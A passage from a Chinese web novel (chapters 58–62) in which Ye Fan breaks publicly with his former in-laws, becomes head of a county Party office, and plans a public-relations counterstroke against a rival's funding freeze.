“苏记者,麻烦你帮我发一份新闻通稿。内容就一句话:‘我叶凡,与柳家,恩断义绝,此生再无瓜葛。’”
电话那头的苏沐秋愣住了。
“叶凡,你……”
“照办吧。”叶凡的声音很平静,却透着一股不容置疑的决绝。
他知道,只有彻底斩断与柳家的联系,才能真正轻装上阵,去面对,更高层级的较量。
窗外,夜色沉沉,一场新的风暴,正在江城,悄然酝酿。
第58章 一刀两断,风波再起
电话那头的苏沐秋,沉默了足足三秒。
她刚刚还在为叶凡的绝地反击而喝彩,转眼间,就被他这记更狠的回马枪给惊得说不出话。
柳如烟的公开道歉,无论真情假意,在公众眼里,都是一种姿态,一种示弱。叶凡如果默不作声,就等于是默认了这场“和解”,风波会渐渐平息。
可他偏不。
他要的不是平息,是**。
“你确定?这等于是在柳家父女的伤口上,又撒了一把盐,不,是撒了一把辣椒粉。”苏沐秋的声音里,带着一丝担忧和一丝不易察觉的兴奋。
“有些伤口,不清创就永远不会好。”叶凡的语气很平静,“况且,我不想我的名字,再以任何形式,和他们捆绑在一起。”
这不仅仅是撇清关系,更是一种**宣告。他要让所有人都看清楚,他叶凡,不是柳家的前女婿,也不是谁的棋子,他就是他自己。
苏沐秋在那头轻笑了一声,语气变得轻快起来:“知道了,叶大主任。你这把刀,真是越来越快了。放心,江城第一快报,保证给你安排得明明白白。”
挂了电话,苏沐秋立刻行动起来。
她没有选择那些八卦论坛,而是直接动用了自己在省报的关系,以一篇名为《青川县叶凡:专注民生,无意旧事》的官方通稿形式,将叶凡的回应,发布在了省报旗下最具影响力的新媒体平台上。
通稿内容极简,只有叶凡那句掷地有声的回应:“我叶凡,与柳家,恩断义绝,此生再无瓜葛。”
没有多余的解释,没有情绪化的指责,只有十二个字,冰冷,决绝。
如果说柳如烟的道歉是一颗投入湖中的**,那叶凡的回应,就是一块从天而降的巨型冰块,瞬间将整个江城的**场,砸得冰封三尺。
前一秒还在同情柳如烟“为爱卑微”的网友们,下一秒就集体掉头。
“我靠!恩断义绝?这是多大的仇啊!”
“这瓜越来越大了!柳家到底对人家做了什么人神共愤的事?”
“我收回之前的话,这个叶凡,是个狠人!我开始有点欣赏他了!”
“柳部长这脸,被打得啪啪响啊!想用女儿打感情牌,结果人家根本不接招!”
……
文联**的办公室。
柳传明看着手机上那篇省报的通稿,以及下面那一条条刺眼的评论,面无表情。
他没有像上次那样暴怒,也没有砸东西。他只是静静地坐着,看着窗外灰蒙蒙的天。
许久,他端起桌上的茶杯,想要喝口水,却忘了茶水滚烫。
“嘶……”
他猛地缩回手,滚烫的茶水泼了出来,淋了他一手。
可他仿佛感觉不到疼痛,只是死死地盯着那只掉落在地毯上,碎成几片的青瓷茶杯。
那只杯子,是他最喜欢的,价值不菲。
现在,碎了。
就像他苦心经营的局面,就像他自以为是的计谋,被叶凡用最简单、最粗暴的方式,砸得粉碎。
他输了,输得一败涂地。
另一边,柳如烟把自己反锁在电视台的化妆间里,看着手机屏幕上那十二个字,眼泪无声地滑落。
她知道,这一次,是真的结束了。
那个曾经在大学校园里,会为了给她买一杯热奶茶而跑遍半个城市的少年,那个会在她生病时,笨拙地学着熬粥的男人,那个她爱过,也恨过的叶凡,从此,真的要在她的世界里,彻底消失了。
她输掉的,又何止是一段婚姻。
……
青川县,卫生局宿舍。
夜色已深,叶凡的房间里却亮着灯。
一阵敲门声响起。
叶凡打开门,看到苏沐秋俏生生地站在门口,手里拎着一个保温饭盒,正冲他俏皮地挤了挤眼睛。
“叶大狠人,我怕你晚上被良心谴责得睡不着,特地给你送来了‘定心汤’。”
她今天穿着一件米白色的高领毛衣,长发披肩,少了几分职场的干练,多了几分居家的温婉。
叶凡让开身子,让她进来。
苏-沐秋熟门熟路地把饭盒放在桌上,打开盖子,一股浓郁的鸡汤香味,瞬间弥漫了整个房间。
“我妈炖的,她说你最近肯定很辛苦,让我给你送点来补补。”苏沐秋一边盛汤,一边头也不抬地说。
“替我谢谢阿姨。”叶凡看着她忙碌的背影,心里流过一阵暖意。
“光说有什么用,下次自己上门去谢。”苏沐秋白了他一眼,将盛好的汤递给他,“快喝吧,凉了就腥了。”
叶凡接过碗,热气氤氲,模糊了视线。
“今天这事,你做得够绝的。”苏沐秋坐在他对面,用手撑着下巴,像只好奇的猫,“柳传明估计想杀你的心都有了。你不怕?”
“怕。但有些事,怕也没用。”叶凡喝了一口汤,暖意从胃里,一直传到四肢百骸,“与其被动地等着他出下一招,不如我先把他所有的路都堵死。”
“那你接下来打算怎么办?”
“做好自己的事。”叶凡放下碗,“柳家是柳家,青川县是青川县。只要我把‘城乡医疗一体化’这个项目做成了,做扎实了,那就是我最大的护身符。”<
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br>苏沐秋看着他,灯光下,他的侧脸轮廓分明,眼神清澈而坚定。这个男人,在经历了如此多的背叛和打压之后,非但没有沉沦,反而像一把被反复淬炼的钢刀,越来越锋利,也越来越耀眼。
她的心,没来由地跳快了半拍。
“说得对。”她掩饰性地低下头,拨弄着自己的手指,“只要你一心为民,就没人能真正打倒你。对了,今天下午,青山镇卫生院的王院长给我打电话,说他们通过你建立的那个远程诊断平台,成功抢救了一个急性心梗的病人。他让我一定替全镇的百姓,好好谢谢你。”
叶凡笑了笑,那笑容里,带着一种发自内心的满足。
这,才是他想要的。
就在这时,叶凡的手机响了。
是一个陌生的座机号码。
他接起电话,里面传来一个恭敬而沉稳的声音。
“是叶凡同志吗?我是县委办的,张**请您现在来他办公室一趟。”
叶凡和苏沐秋对视了一眼,都看到了对方眼中的惊讶。
这么晚了,张海涛找他,会是什么事?
县委**办公室里,灯火通明。
张海涛没有坐在办公桌后,而是站在一幅巨大的青川县地图前,手里夹着一支烟,神情专注。
看到叶凡进来,他指了指旁边的沙发。
“坐。”
张海涛掐灭了烟,转过身,目光如炬。
“今天省报那篇通稿,我看了。干得不错,一刀两断,干净利落。我们党的干部,就该有这种魄力,不被私情俗务所累。”
他先是给予了肯定,随即话锋一转。
“赵卫东和柳志鹏的案子,牵出了一大批人。县交通局、住建局,几乎烂了半边。现在,县里正是百废待兴,也是用人之际。”
张海涛走到办公桌前,拿起一份文件,递给叶凡。
“你那个‘城乡医疗一体化’的方案,我看过了。不花财政一分钱,却能盘活全县的医疗资源,直击民生痛点。这说明,你不仅有解决问题的能力,更有从全局思考的智慧。”
叶凡接过文件,却没有打开。他知道,前面的铺垫,都是为了最后那句话。
张海涛的目光,变得深邃而郑重。
“县委办公室,是县委的中枢,是承上启下、协调各方的关键。这个岗位,需要一个像外科医生一样,心思缜密、逻辑严谨、下手果断的人来坐镇。”
他停顿了一下,一字一句地说道:
“叶凡同志,我打算,向**组织部推荐你,出任青川县县委办公室主任。你,有没有信心?”
第59章 县办主任,新官上任!
叶凡的心脏,像是被一只无形的手,猛地攥紧了一下。
县委办公室主任!
这个职务,在县里可是个实权派,不仅是县委**的“大管家”,更是连接县委与县政府、上传下达的核心枢纽。
它不像副镇长那样直接管理具体事务,但却能接触到县里所有的核心机密,掌握着最重要的信息流。
这不单单是职位的晋升,更是张海涛对他能力和忠诚的认可,以及将他彻底纳入自己体系的信号。
张海涛没有催促,只是静静地看着叶凡,目光中带着一丝考量。
叶凡的脑子飞速运转。他知道,这是张海涛在“投桃报李”,也是在“押宝”。
柳家在江城市的势力依然庞大,但青川县这边,柳志鹏的案子,以及赵卫东的**,已经让柳家在青川县的根基彻底动摇。
张海涛需要一个可靠的人来巩固自己的地盘,而他叶凡,无疑是最佳人选。
“张**,感谢您的信任。”叶凡站起身,语气沉稳而坚定,“我叶凡虽然是半路出家,但既然您肯用我,我必不负所托。这个担子,我扛得住!”
张海涛的脸上终于露出了满意的笑容。
他伸出手,重重地拍了拍叶凡的肩膀。
“好!有你这句话,我就放心了!”
他重新回到地图前,指着青川县的各个区域。
“青川县这几年发展滞后,干部队伍也有些僵化。接下来,你这个县委办主任,除了要做好日常工作,更要协助我,把县委的各项决策部署,不折不扣地落实下去。特别是你那个‘城乡医疗一体化’项目,我希望它能成为青川县的一张名片!”
叶凡点头,心中已然明了。
张海涛这是要借着医疗改革的成功,为自己积累**资本,而他叶凡,就是这枚重要的棋子。
“请张**放心,医疗改革我会继续推进,绝不让它半途而废。”
从县委**办公室出来,已是深夜。
苏沐秋还在叶凡宿舍门口等着,看到他出来,立刻迎了上来。
“怎么样?张**找你什么事?”她的语气里带着一丝紧张。
叶凡看着她,夜色下,她的眼睛亮晶晶的,充满了关切。
他笑了笑,故意卖了个关子:“张**说,我这个人,太适合做外科医生了。”
苏沐秋一愣,随即嗔怪地瞪了他一眼:“都这个时候了,你还开玩笑!快说!”
“他说,县委办公室,就是县委的心脏,需要一个像外科医生一样,心思缜密、逻辑严谨、下手果断的人来坐镇。”叶凡语气一顿,看着苏沐秋那双期待的眼睛,一字一句地说道:“所以,他要推荐我,出任青川县县委办公室主任。”
苏沐秋的呼吸,猛地一滞。
她的大眼睛瞬间瞪圆,嘴巴微微张开,半天没合拢。
“你……你说什么?县委办主任?!”她的声音带着难以置信的颤抖。
叶凡看着她这副呆萌的样子,忍不住伸手,轻轻地揉了揉她的头发。
“怎么?不相信你叶大主任的能力?”
“我信!我当然信!”苏沐秋猛地回过神来,激动得一把抓住叶凡的胳膊,整个人都快跳起来了,“叶凡!你真是太厉害了!这简直是火箭提拔啊!从一个乡镇医院的医生,直接跳到县委办主任!这在青川县,是前所未有的!”
她的脸上洋溢着由衷的喜悦和骄傲,比她自己升职还要高兴。
“别高兴得太早。”叶凡笑着说,“这个位置,是张**的信任,也是柳传明的眼中钉。接下来,我的日子可不会太平。”
“我才不怕呢!”苏沐秋拍了拍胸脯,语气豪迈,“你这把刀,只会越来越锋利!我苏沐秋,就是你最坚实的后盾!以后有什么需要我帮忙的,你尽管开口!”
两人的目光在夜色中交织,一种无声的默契和情谊,在彼此心间流淌。
第二天,叶凡被任命为青川县县委办公室主任的消息,像一颗深水**,在青川县官场炸开了锅。
县里所有的干部,都震惊了。
一个被下放的医生,一个被前岳父打压的“废物”,仅仅用了几个月时间,就从乡镇医院,一路高歌猛进,直接坐上了县委办主任的宝座!
这简直是官场奇迹!
马德龙局长听到消息后,激动得在办公室里转了三圈,然后立刻冲到叶凡的宿舍,拉着叶凡的手,老泪纵横。
“叶主任!叶主任啊!我就知道您不是池中之物!您这简直是鲤鱼跳龙门,不,是真龙腾飞啊!以后您可千万别忘了我这老马啊!”
叶凡哭笑不得,只能由着他拍马屁。
而县委办的那些干部们,更是如临大敌。
他们中的许多人,都是老资历,背景深厚,平日里养尊处优,对这个突然空降的年轻主任,充满了好奇和戒备。
特别是县委办副主任**,他原本是县委办的老二,一直觊觎主任的位置,没想到半路杀出个叶凡。
他表面上客客气气,内心却充满了不忿。
上任第一天,叶凡没有搞什么“新官上任三把火”,也没有开大会训话。
他只是让秘书把县委办近三年的所有文件档案,都搬到了自己的办公室。
他要做的,是先“看病”。
像外科医生术前看病历一样,他要先了解这个“病人”的全部情况,找到它的“病灶”所在。
他从最基础的收发文流程开始,仔细梳理每一份文件,每一个批示。
他发现,县委办的效率低下,许多文件流转缓慢,甚至积压。
有些重要的批示,也常常被“选择性”地执行,甚至被截留。
他没有声张,只是默默地观察,默默地记录。
几天下来,叶凡就基本摸清了县委办的“脾性”和“病症”。
这天下午,叶凡召集了县委办全体干部,召开了一个简短的会议。
会议室里,气氛有些紧张。
叶凡没有坐主席台,而是坐在会议桌的一端,姿态很低,但眼神却异常锐利。
“各位,我叶凡是新来的,对县委办的工作还在熟悉阶段。今天请大家来,是想听听大家的意见和建议,看看我们县委办的工作,还有哪些可以改进的地方。”
他语气温和,没有丝毫领导的架子。
然而,会议室里却鸦雀无声。
大家你看看我,我看看你,谁也不敢第一个开口。
**副主任清了清嗓子,率先打破了沉默。
“叶主任,我觉得咱们县委办的工作,一直都是很规范的。虽然有时候有些小问题,但总体来说,还是运转良好的。”
他这话,说得滴水不漏,既不夸大,也不贬低,看似客观,实则是在敷衍。
叶凡拿起笔,在笔记本上写了几个字,然后抬起头,脸上挂着一丝意味深长的笑容。
“王副主任说得好。不过,我最近在看一些文件,发现了一些‘小问题’,想请大家帮我解惑。”
他打开投影仪,屏幕上,赫然出现了一份文件扫描件。
“这
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是去年十月份,张**关于‘老旧小区改造’的批示,要求县住建局在一个月内拿出初步方案。但直到今年三月份,这个方案才报上来。这中间,耽搁了五个多月。”
他看向**:“王副主任,你能解释一下,为什么这份文件,会在县委办积压这么久吗?”
**脸色一僵。
他没想到叶凡会直接点名,而且是拿这种具体的文件来说事。
“这个……可能当时文件比较多,人手也紧张,所以……耽搁了一点时间。”他支支吾吾地解释。
叶凡没有说话,只是又调出另一份文件。
“这是今年二月份,市里下发的一份关于‘招商引资’的重要通知,要求各区县在三天内上报重点项目。但我们县委办,却在通知下发一周后,才将它转交给县发改委。导致我们青川县,错失了一个重要的招商机会。”
他目光如炬,扫过全场:“这,也是人手紧张,耽搁了一点时间吗?”
会议室里,气氛瞬间凝固。
所有人都低着头,不敢与叶凡对视。
叶凡没有继续追问,他只是将屏幕定格在最后一张幻灯片上。
那是一张“青川县县委办公室工作流程图”,上面用红色线条,清晰地标注出了每一个“堵点”和“滞留环节”。
“各位,我是一名医生。医生看病,讲究对症下药。县委办是县委的‘心脏’,如果心脏出了问题,整个县委的运转就会受到影响。”
他拿起激光笔,指着流程图上的几个红色区域。
“我把这些‘堵点’,称之为县委办的‘血栓’。这些‘血栓’不清除,我们的工作效率,就永远提不上去。所以,从今天起,县委办将进行一次全面的‘清栓’行动!”
他目光扫过**,语气变得严肃而有力:“王副主任,我希望你作为县委办的老同志,能够率先垂范,配合我的工作,把这些‘血栓’,一个一个地给我清除干净!”
**被叶凡的目光盯得心里发毛,额头渗出了冷汗。
他知道,叶凡这是在敲山震虎,也是在警告他。
“是!叶主任!我一定全力配合!”他连忙表态。
“很好。”叶凡点了点头,“散会。从明天开始,县委办所有工作流程,将按照我今天发给大家的新流程图执行。谁要是再敢阳奉阴违,或者故意拖延,别怪我叶凡,不讲情面!”
他这番话,如同一记记重锤,狠狠地砸在了每一个人的心上。
所有人都明白,这个新来的叶主任,不是个好惹的主。
他没有背景,但他有张**的信任,有百姓的拥戴,更有那份医生特有的冷静、严谨和果断。
他就像一把锋利的手术刀,已经开始,对县委办这个“病人”,进行精准的“切除”了。
当天晚上,叶凡回到宿舍,收到了苏沐秋发来的信息。
“叶大主任,听说你今天在县委办,杀气腾腾,把那些老油条都吓得不轻啊!”
叶凡笑了笑,回复道:“医生动手术,总不能笑嘻嘻的吧?总要让他们知道,这刀,是真刀。”
苏沐秋发来一个“鼓掌”的表情。
“不过,我听说柳传明最近在市里,动作也很大。他好像在暗中联合一些人,准备对张**发难。”
叶凡的笑容渐渐收敛。
“我知道。暴风雨,才刚刚开始。”
他看向窗外,夜色深沉,江城的方向,似乎正有一股暗流在涌动。
这场没有硝烟的战争,远未结束。
第60章 杀鸡儆猴,暗流涌动!
县委办的空气,像被抽走了氧气,沉闷得让人喘不过气。
自从叶凡开完那场“清栓会议”,整个办公室就陷入了一种诡异的安静。
以前那些端着茶杯四处串门的老油条们,如今都老老实实地待在自己的格子间里,连咳嗽都得先清清嗓子。
副主任**脸色铁青地坐在办公室里,一杯茶从滚烫喝到冰凉。
他手下的几个亲信,这两天像是霜打的茄子,蔫头耷脑。
“王主任,那小子也太狂了!一个毛头小子,真把自己当盘菜了?”一个科长压低了声音,凑到**门口抱怨。
**瞪了他一眼,没好气地说:“有本事你当着他的面说去!没看见他背后站着谁吗?”
那科长脖子一缩,不敢再言语。
谁都知道,现在的叶凡是张海涛**案板上的红人,谁碰谁倒霉。
叶凡对办公室里的暗流涌动,心知肚明,却不动声色。
他知道,光靠一次会议的震慑,远远不够。
他需要一把真正的刀,来宰一只不长眼的鸡。
很快,这只鸡就自己送上门来了。
下午,一份关于“全县中小学消防安全隐患排查”的紧急文件,需要立刻下发到各乡镇和县教育局。
按照叶凡制定的新流程,这种特急文件从拟稿到下发,不能超过两个小时。
可三个小时过去了,文件还压在综合科的一个叫李伟的科员桌上。
叶凡的秘书小张急得满头大汗,跑来汇报:“叶主任,我催了李伟好几次了,他总说马上就办,可……”
叶凡抬起头,眼神平静无波:“他人呢?”
“在……在楼下跟人聊天呢。”
“把他叫上来,另外,通知王副主任和综合科科长,到我办公室来。”
几分钟后,李伟吊儿郎当地走了进来,身后跟着一脸凝重的**和综合科长。
这李伟是县里交通局副局长的外甥,平时在办公室里横着走,谁也管不了。
“叶主任,找我?”李伟的语气里带着一丝不以为然。
叶凡没有理他,而是指着桌上那份文件,问综合科长:“按照新规定,这份文件应该什么时候发出去?”
科长擦了擦额头的汗,小声说:“下午三点之前。”
“现在几点了?”
“四点……四点过十分了。”
叶凡这才把目光转向李伟,声音不大,却像手术刀一样精准:“李伟同志,从下午一点文件交到你手上,到现在的四个多小时里,你接了三个私人电话,总计时长四十七分钟;下了两趟楼,总共抽了五根烟。唯独这份关系到全县十几万师生安全的文件,你一个字都没动。我说的,对吗?”
李伟的脸色“唰”地一下变得惨白,他怎么也想不到,叶凡竟然会把他的行踪摸得一清二楚!
“我……我……”他结结巴巴,一个字也说不出来。
**见状,赶紧打圆场:“叶主任,小李他还年轻,工作经验不足,我回头一定好好批评他!这文件,我们马上就发!”
“不必了。”叶凡打断了他,语气淡漠,“县委办是县委的中枢,不是谁家的托儿所。我们这里不需要经验不足的年轻人。”
他拿起桌上的电话,直接拨给了人事科。
“我是叶凡。综合科的李伟同志,工作态度散漫,责任心缺失,不适合在县委办工作。经研究决定,将他调往县档案局,负责整理旧档。即刻办理。”
县档案局!
在场的所有人都倒吸了一口凉气。那地方,就是官场里的“停尸房”,进去了,这辈子就算到头了。
这一刀,快、准、狠,没有丝毫拖泥带水。
李伟腿一软,差点瘫在地上。
**更是感觉后背一阵发凉,他知道,叶凡这只鸡,是杀给他这只猴看的。
处理完李伟,叶凡仿佛没事人一样,将一份文件递给旁边一直站着的小秘书张超:“小张,这份文件你来处理,一个小时内,发下去。”
张超愣了一下,随即激动得满脸通红:“是!主任!保证完成任务!”
整个县委办的人都看在眼里。
叶凡不仅会用刀,还会用人。
他打压了懒散的老油条,也给了肯干事的新人出头的机会。
这一手胡萝卜加大棒,玩得炉火纯青。
从这天起,县委办的风气,焕然一新。
文件流转速度快了三倍不止,再也没人敢阳奉阴违。
……
夜幕降临,县委大院里静悄悄的。
叶凡揉着发胀的太阳穴,走出办公楼,准备回宿舍。
刚走到楼下,就看见一棵桂花树下,站着一个熟悉的身影。
苏沐秋穿着一件浅蓝色的风衣,双手插在口袋里,正百无聊赖地踢着脚下的石子。
“苏大记者,查岗查到县委大院来了?”叶凡笑着走过去。
苏沐秋白了他一眼,将一个温热的纸袋塞进他怀里:“给你这个工作狂送点宵夜,免得你哪天过劳死在办公室,我都没地方找人去。”
纸袋里是两个刚出炉的烤红薯,散发着焦甜的香气。
叶凡拿出一个,掰了一半递给她:“一个人吃多没意思。”
苏沐秋也没客气,接过来小口小口地吃着。
两人并肩走在安静的大院里,路灯将他们的影子拉得很长。
“听说你今天又大开杀戒了?”苏沐秋边吃边问,语气里带着笑意。
“不叫杀戒,叫外科手
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术,切除坏死组织。”叶凡纠正道。
“切得好!”苏沐秋挥了挥手里的红薯,像是在为他喝彩,“对付那些人,就不能心慈手软。不过……”
她话锋一转,表情严肃起来:“你那个大对头,最近也没闲着。”
叶凡的心头一紧:“柳传明?”
“嗯。”苏沐秋凑近了一些,压低了声音,“我市里报社的同学说,柳传明最近频繁和市财政局的一把手吃饭。而且,他还在多个场合,公开质疑你们青川县的财政状况,说张**好大喜功,为了搞形象工程,掏空了县里的家底。”
叶凡的脚步,猛地停了下来。
釜底抽薪不成,现在要改成**抹黑,再从根子上断掉张海涛的财政支持。
这一招,更加阴毒。
张海涛在青川县这几年,确实上了不少项目,有些项目的资金缺口,一直靠市财政的转移支付来填补。
如果柳传明说动了市财政局,卡住这笔钱,那张海涛的处境将变得非常艰难。
“他这是想让张**后院起火,焦头烂额,再也没精力顾及你那个‘医疗一体化’项目。”苏沐秋分析得头头是道。
叶凡剥着红薯皮,眼神却变得无比深邃。
他知道,柳传明的真正目标,是张海涛。
自己,只是他用来攻击张海涛的借口和工具。
看着叶凡紧锁的眉头,苏沐秋心里有些不忍。
她伸出手,轻轻抚平了他眉间的褶皱。
“别担心,车到山前必有路。”她的指尖微凉,触感却很柔软,像一片羽毛,轻轻扫过叶凡的心湖。
叶凡抓住她的手,那只手在他掌心里,显得小巧而温暖。
“谢谢你,沐秋。”他看着她的眼睛,认真地说。
这是他第一次,叫她的名字。不是“苏记者”,不是“苏大记者”,而是“沐秋”。
苏沐秋的脸颊腾地一下红了,像被晚霞染过一样。
她想把手抽回来,却被叶凡握得更紧。
她的心,像揣了只小鹿,怦怦乱跳。
就在这暧昧的气氛中,叶凡的手机,尖锐地响了起来。
是张海涛**的秘书打来的。
“叶主任,**请您马上来他办公室一趟,有急事!”
叶凡松开苏沐秋的手,脸上的温情瞬间褪去,取而代之的是一片凝重。
他看着江城的方向,夜色如墨,仿佛有一张无形的大网,正从那里,朝青川县,悄然罩下。
“我过去了。”他对苏沐秋说。
“嗯,小心点。”
看着叶凡匆匆离去的背影,苏沐秋将剩下的一点红薯塞进嘴里,甜丝丝的,心里却莫名地有些发紧。
她知道,真正的暴风雨,要来了。
第61章 空城计与投名状(一)
张海涛的办公室里,烟雾缭绕,呛得人眼睛发涩。
他没有坐在那张象征着权力的老板椅上,而是烦躁地在巨大的青川县地图前踱步,脚下的地毯上,已经落了三两截烟灰。
看到叶凡进来,他只是用下巴指了指沙发,连话都懒得说。
叶凡没坐,他知道现在不是客套的时候。
他走到办公桌前,拿起那份被揉得有些发皱的**。
文件来自江城市财政局,标题很客气:《关于对下辖区县财政支出结构进行优化评估的函》。
但内容却比刀子还锋利。
函中“建议”,在评估期间,对青川县本年度的“非民生类重点项目”的财政转移支付,暂缓拨付。
而在附件的“暂缓清单”里,一长串项目赫然在列,从道路修缮到园区开发,几乎涵盖了张海涛这两年所有力推的政绩工程。
这已经不是釜底抽薪了,这是直接把锅都给端走了。
“柳传明。”张海涛终于停下脚步,从牙缝里挤出三个字,声音沙哑得像被砂纸磨过,“他这是要我的命。”
一个县委**,如果对下面的工程款、合作商的账目都无法兑现,那他的承诺就一文不值,威信也会瞬间崩塌。
到时候,不用市里动手,光是县里那些被拖欠款项的包工头和等着看笑话的政敌,就能把他撕得粉碎。
“他不是要您的命,他是怕您要他的命。”叶凡放下文件,语气平静得可怕。
张海涛猛地回头,死死盯着叶凡,浑浊的眼睛里布满了血丝。
叶凡迎着他的目光,不闪不避。
“柳志鹏和赵卫东的案子,已经让柳家在青川伤了元气。他怕您站稳脚跟后,会顺藤摸瓜,把火烧到江城,烧到他自己身上。所以他必须先下手,把您拖垮在青川。”
叶凡的分析像一把精准的手术刀,瞬间剖开了问题的核心。
张海涛颓然地坐进沙发,狠狠地吸了一口烟,又猛地咳了起来。
“分析得对,可又有什么用?现在县财政的账上,根本没有这么多钱来填这个窟窿。明天一早,那些消息灵通的债主,就会把县政府的大门给堵了!”
办公室里陷入了死一样的寂静,只剩下张海涛粗重的喘息声。
“**,您信不信我?”叶凡突然开口。
张海涛抬起头,看着这个年轻人。
灯光下,叶凡的脸上没有丝毫的慌乱,那双眼睛清澈而冷静,仿佛眼前这天大的窟窿,在他眼里,不过是一场需要冷静处理的外科手术。
“说。”
“柳传明想看我们乱,想看我们到处求爷爷告奶奶,想看我们焦头烂额,最后灰溜溜地向他低头。”叶凡走到地图前,目光落在整个青川县的版图上,“我们偏偏不能让他如愿。他想让我们藏着掖着,我们就偏要把它公之于众。”
“公之于众?”张海涛的眉头拧成了一个疙瘩,“你是想让全县都知道我们没钱了?那不是乱上加乱!”
“不。”叶凡摇了摇头,“这叫空城计。”
他转过身,看着张海涛,眼中闪烁着一种近乎疯狂的光芒。
“第一,明天一早,由县委办牵头,召开一个全县范围的干部大会,把财政局的这份文件,原原本本地传达下去。我们不遮掩,不粉饰,就告诉大家,市里要集中力量办大事,我们青川县要顾全大局,所以一些项目的款项,需要暂时延后支付。”
“第二,在会上,您要亲自宣布,所有机关、事业单位人员的工资,所有教师、医护人员的薪水,所有退休干部的养老金,一分不少,按时发放!稳住这批人,青川就乱不起来!”
“第三,也是最关键的一步。”叶凡的声音压低了,却带着一种不容置疑的力量,“您要当着所有干部的面,宣布一个决定:从本月起,县委**、县政府领导班子所有成员,自愿停发薪水,直到财政危机解除。我们,要跟全县人民共克时艰!”
“什么?!”张海涛惊得从沙发上站了起来,不敢相信自己的耳朵。
领导干部带头不领工资?这简直是闻所未闻!
叶凡的嘴角勾起一抹冷冽的弧度。
“**,柳传明用的是阳谋,我们就要用奇招来破。他想把您塑造成一个好大喜功、掏空家底的昏官。我们就偏要演一出‘与民同苦、清正廉洁’的大戏给他看!”
“老百姓不看文件,不听大道理,他们只看你做了什么。当全县都知道,连县委**、县长都带头不领工资了,谁还会相信那些抹黑我们的谣言?那些想来**的包工头,看到我们这副‘穷得底掉’的架势,还好意思开口吗?他们只会觉得,我们是真的有难处,是在负责任地解决问题!”
“这一招,不仅能稳住民心,更能把柳传明架在火上烤!他不是在市里宣扬我们财政有问题吗?好啊,我们全县领导班子都勒紧裤腰带了,他这个始作俑者,还好意思在市里大鱼大肉吗?到时候,**的压力,会全部回到他那边去!”
叶凡的这番话,如同一道道惊雷,在张海涛的脑海里炸响。
他看着眼前的叶凡,这个年轻人,哪里像个医生,他分明是一个深谙人性和权谋的顶级操盘手!
这已经不是简单的解决问题了,这是在拿捏人心,是在下一盘险象环生却又
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可能一本万利的**大棋!
这记“投名状”,递得太狠了!
张海涛死死地盯着叶凡,半晌,那张紧绷的脸,终于松弛下来,取而代之的是一种难以言喻的欣赏和激动。
“好!好一个空城计!好一个投名状!”他重重一拳砸在办公桌上,震得茶杯嗡嗡作响,“叶凡!就按你说的办!这件事,由你全权负责协调!县委办、宣传部、财政局,所有部门,全部听你调遣!谁敢不配合,你拿着我的话,先免职,后汇报!”
他把自己的命运把整个青川县的未来,都押在了叶凡这石破天惊的计策上。
……
从县委大楼出来,已是凌晨。
叶凡没有回宿舍,而是找了个僻静的角落,拨通了苏沐秋的电话。
电话响了很久才被接起,那头传来苏沐秋带着浓浓鼻音的慵懒声音:“叶大主任,三更半夜的,查岗啊?不知道打扰别人睡觉,很不道德吗?”
“睡什么睡,起来干活了。”叶凡的声音里带着一丝笑意。
“干活?”苏沐秋瞬间清醒了,“出什么事了?”
“柳传明出招了,我接招了。现在需要你这位王牌记者,给我送点**。”叶凡三言两语地将自己的“空城计”和盘托出。
电话那头的苏沐秋,陷入了长久的沉默。
许久,她才幽幽地开口:“叶凡,我发现你这人,心是黑的吧?太坏了,我喜欢。”
叶凡被她逗笑了:“别贫了。我需要你做的,不是官方报道,而是‘小道消息’。明天我们这边开发布会的同时,我需要江城的各大论坛、社交媒体上,出现一些帖子。”
“标题我都想好了。”苏沐秋在那头打了个哈欠,声音却透着兴奋,“《震惊!青川县领导班子集体停薪,背后竟因某部长一手遮天?》、《柳部长,青川的老师喊你发工资!》……怎么样,够不够劲爆?”
“够了。”叶凡的眼中闪过一丝赞许,“记住,不要指名道姓,要的就是那种捕风捉影、引人遐想的效果。把水搅浑,让柳传明自己跳出来解释。”
“放心吧,叶大主任。”苏沐秋的语气变得轻快起来,“你负责在前线唱大戏,我负责在后方给你递刀子。不过,我这加班费,你打算怎么算?”
“等这阵风过去,请你吃大餐,江城最好的馆子,你随便挑。”
“一言为定!”
挂了电话,叶凡抬头看了一眼江城的方向。
夜色如墨,却仿佛能看到一张巨大的网,正在收紧。
柳传明,你不是想看戏吗?
明天,我就给你演一出,你这辈子都忘不了的大戏。
第62章 空城计与投名状(二)
第二天,青川县的天,是灰色的。
市财政局要对青川县“暂停拨款”的风声,像一场瘟疫,一夜之间传遍了县城大大小小的角落。
县政府门口,已经有几个消息灵通的工程队老板,揣着手,像几只嗅到血腥味的狼,远远地踱步观望。
县委大礼堂里,更是气氛压抑。
全县科级以上干部悉数到场,黑压压坐了一片,交头接耳声汇成一片低沉的嗡鸣,每个人的脸上都写着不安与揣测。
**副主任坐在前排,眼角瞟着角落里那个独自翻看会议流程的年轻人,心里五味杂陈。
他本以为叶凡坐上县委办主任的位置是坐上了火山口,没想到第一场大爆发来得这么快,这么猛。
他倒想看看,这个年轻人和他背后的张**,要怎么收场。
上午九点整,张海涛和叶凡一前一后走上主席台。
张海涛的脸色很差,眼窝深陷,像是整夜未眠,但他腰杆挺得笔直。
叶凡则是一贯的平静,仿佛即将宣布的不是一场财政海啸,而是一份常规的工作报告。
“同志们,安静一下。”张海涛对着话筒,声音有些沙哑,但中气十足。
全场瞬间安静下来。
“今天请大家来,是通报一个情况。”张海涛没有绕弯子,直接让工作人员将市财政局那份文件的复印件,发到了每个人的手上。
礼堂里只剩下纸张翻动的“沙沙”声。
几分钟后,这声音渐渐平息,取而代之的是一片死寂,紧接着,压抑不住的惊呼和议论声,像潮水般涌起。
“暂停拨款?那我们镇上刚动工的路怎么办?”
“完了完了,园区开发的项目款,可都指着市里这笔钱呢!”
“我就说,步子迈得太大,容易扯着蛋!”
张海涛任由下面议论了一会儿,才猛地一拍桌子。
“吵什么!像什么样子!”他一声怒喝,震得全场一静,“市里要集中力量办大事,我们青川县,作为江城的一份子,理应顾全大局!天,塌不下来!”
他顿了顿,目光扫过全场,语气变得坚定。
“我在这里,向全县干部群众,做三点保证!”
“第一,所有机关、事业单位人员的工资,所有教师、医护人员的薪水,所有退休干部的养老金,一分不少,按时足额发放!”
这句话像一颗定心丸,让场内大部分人的心,瞬间安稳了下来。
